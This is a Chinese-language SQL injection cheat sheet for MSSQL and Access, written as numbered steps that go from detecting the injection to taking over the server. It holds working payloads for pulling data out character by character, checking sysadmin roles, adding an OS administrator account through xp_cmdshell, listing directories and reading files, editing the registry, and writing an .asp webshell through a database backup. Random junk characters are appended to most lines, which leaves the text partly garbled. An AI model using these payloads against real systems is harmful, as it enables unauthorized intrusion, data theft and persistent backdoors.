1.判断是否有注入;and 1=1 ;and 1=2 ?8H8O %Z8
2.初步判断是否是mssql ;and user>0 wy<S;
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3.注入参数是字符'and [查询条件] and ''=' R^8o^z['6u
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,1.p%UE]>
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5.判断数据库系统 e-})6)XgA
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;and (select count(*) from sysobjects)>0 mssql U#7#aeI
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;and (select count(*) from msysobjects)>0 access x xHY+(m
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 XAD- 'i
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 W]$w@.oW[
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 CCs%%U/=
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9.(1)猜字段的ascii值(access) W 8<&gh+
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Y Vt% 0
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(2)猜字段的ascii值(mssql) @o].He@L<j
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `P@< 3]
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10.测试权限结构(mssql) hk;5w{t}}
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- '0;l]/i.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- @Z_x.Y6
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >.Pnkx*
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- c`)\Pb/O
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;HfmzY(
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- EgEa1l!NSQ
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;and 1=(select IS_MEMBER('db_owner'));-- IV~>I-rd
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11.添加mssql和系统的帐户 "m):Y;9iQ?
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;exec master.dbo.sp_addlogin username;-- YsC>i`n9
;exec master.dbo.sp_password null,username,password;-- ,C\i^>=
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- DaQ?\uq
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;exec master.dbo.xp_cmdshell 'net user username password c1(RuP:S
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- (Bb5?fw
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- AG
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12.(1)遍历目录 5:[0z5Hww
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;create table dirs(paths varchar(100), id int) f].h^~.q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' dw>C@c#"
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;and (select top 1 paths from dirs)>0 D(op)]8
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ]Jg&VXrH
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?/E~/;+7=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 w>&aEv/f
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Xh"n]TK
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 WF+99?75
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 wo{gG?B
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13.mssql中的存储过程 nsC3
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xp_regenumvalues 注册表根键, 子键 dh iuI|?@
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y;M|D'y+
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xp_regread 根键,子键,键值名 (_]~wi-,
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Wq&if_
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xp_regwrite 根键,子键, 值名, 值类型, 值 .f2bNnB~pP
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 R4cM%l_#W
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 g3/W=~r
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xp_regdeletevalue 根键,子键,值名 U(g:zae
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 sf87$S0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 lvz7#f L~
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14.mssql的backup创建webshell \ :sUL!
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use model *vxk@`K~
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create table cmd(str image); ZhaP2pC%4
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insert into cmd(str) values (''); PiIpnoM
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backup database model to disk='c:\l.asp'; K7:)nv
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15.mssql内置函数 AJ`h9%B
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;and (select @@version)>0 获得Windows的版本号 Id .nu/
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa M`!H"R 7
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;and (select user_name())>0 爆当前系统的连接用户 v MH
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;and (select db_name())>0 得到当前连接的数据库 #rfiD%c
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16.简洁的webshell w-MCZwCr)
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use model Fj3a.'
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create table cmd(str image); 7*A],:-q
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insert into cmd(str) values (''); !ons]^km
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backup database model to disk='g:\wwwtest\l.asp';